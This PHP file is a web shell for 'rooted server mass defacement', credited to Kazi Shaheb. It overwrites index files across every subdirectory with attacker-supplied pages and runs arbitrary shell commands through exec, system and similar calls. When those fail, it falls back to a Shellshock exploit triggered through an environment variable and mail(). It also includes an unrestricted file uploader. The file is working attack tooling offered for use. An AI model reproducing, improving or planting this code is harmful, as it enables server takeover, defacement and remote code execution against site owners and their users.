<?php
/*
Rooted Server Mass Defacement
Recoded by Kazi Shaheb
*/
echo "<title>./</title>";
echo "<link href='http://fonts.googleapis.com/css?family=Electrolize' rel='stylesheet' type='text/css'>";
echo"<body bgcolor='black'><font color='skyblue'><font face='Iceberg'>";
$server=$_SERVER['SERVER_ADDR'];
echo "<font color='gold'><b>Server IP :</b> </font>".$server;
$software=$_SERVER['SERVER_SOFTWARE'];
echo "<br><b><font color='cyan'>Software:</font></b>".$software;
echo "<center><form method='POST'>";
echo "<font color='lime'><b>Base Dir : </b></font><input type='text' name='base_dir' size='45' value='".getcwd ()."'><br><br>";
echo "<font color='yellow'><b>File Name :</b></font> <input type='text' name='file_name' value='index.php'><br><br>";
echo "<font color='aqua'><b>Your Index :</b></font> <br><textarea style='width: 785px; height: 330px;' name='index'>//paste your deface here</textarea><br>";
echo "<input type='submit' value='Kupa!'></form></center>";
if (isset ($_POST['base_dir']))
{
if (!file_exists ($_POST['base_dir']))
die ($_POST['base_dir']." Not Found !<br>");
if (!is_dir ($_POST['base_dir']))
die ($_POST['base_dir']." Is Not A Directory !<br>");
@chdir ($_POST['base_dir']) or die ("Cannot Open Directory");
$files = @scandir ($_POST['base_dir']) or die ("oohhh shet<br>");
foreach ($files as $file):
if ($file != "." && $file != ".." && @filetype ($file) == "dir")
{
$index = getcwd ()."/".$file."/".$_POST['file_name'];
if (file_put_contents ($index, $_POST['index']))
echo "$index    <span style='color: green'>OK</span><br>";
}
endforeach;
}
//Execute
echo'<tr><td align="center">
<form method="POST">
<font size="2" face="Courier"><b>Command:</b></font><br />
<input type="text" size="30" name="Command" value="uname -a">
<input type="submit" value="Exec">
</form>
</td></tr>';
if(!empty($_POST['Command'])) {
$cmd = trim($_POST['Command']);
echo'<tr><td align="center">';
echo'<textarea style="width: 926px; height: 382px;">';
echo m4Ex($cmd);
echo'</textarea><br />';
}
function m4Ex($in) {
$out = '';
if (function_exists('exec')) {
@exec($in,$out);
$out = @join("\n",$out);
} elseif (function_exists('passthru')) {
ob_start();
@passthru($in);
$out = ob_get_clean();
} elseif (function_exists('system')) {
ob_start();
@system($in);
$out = ob_get_clean();
} elseif (function_exists('shell_exec')) {
$out = shell_exec($in);
} elseif (is_resource($f = @popen($in,"r"))) {
$out = "";
while(!@feof($f))
$out .= fread($f,1024);
pclose($f);
} else {
$out = shellshock($in);
}
return $out;
}
function shellshock($cmd) {
if(strstr(readlink("/bin/sh"), "bash") != FALSE) {
$tmp = tempnam(".","data");
putenv("PHP_LOL=() { x; }; $cmd >$tmp 2>&1");
mail("[email protected]","","","","-bv");
}
else return "Not vuln (not bash)";
$output = @file_get_contents($tmp);
@unlink($tmp);
if($output != "") return $output;
else return "No output, or not vuln.";
}
// Uploader
echo '<br /><br /><form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo'<input type="file" class="wkwk" name="file" value="Choose file" size="60" ><input class="wkwk" name="_upl" type="submit" id="_upl" value="Upload"></form>';
if($_POST['_upl']=="Upload"){
if (@copy($_FILES['file']['tmp_name'],$_FILES['file']['name'])){echo'<br /><br /><b>Uploaded successful !!<br><br>';}
else {echo'<br /><br />Not uploaded !!<br><br>';}
}
echo "<div><footer id='ftr' style='position:fixed; left:0px; bottom:0px; background:gray; text-align:center;'><b>© <font color:yellow>Kazi Shaheb</font><font color:black>☻</font></b></footer><div>";
echo "</body>";
?>
Comments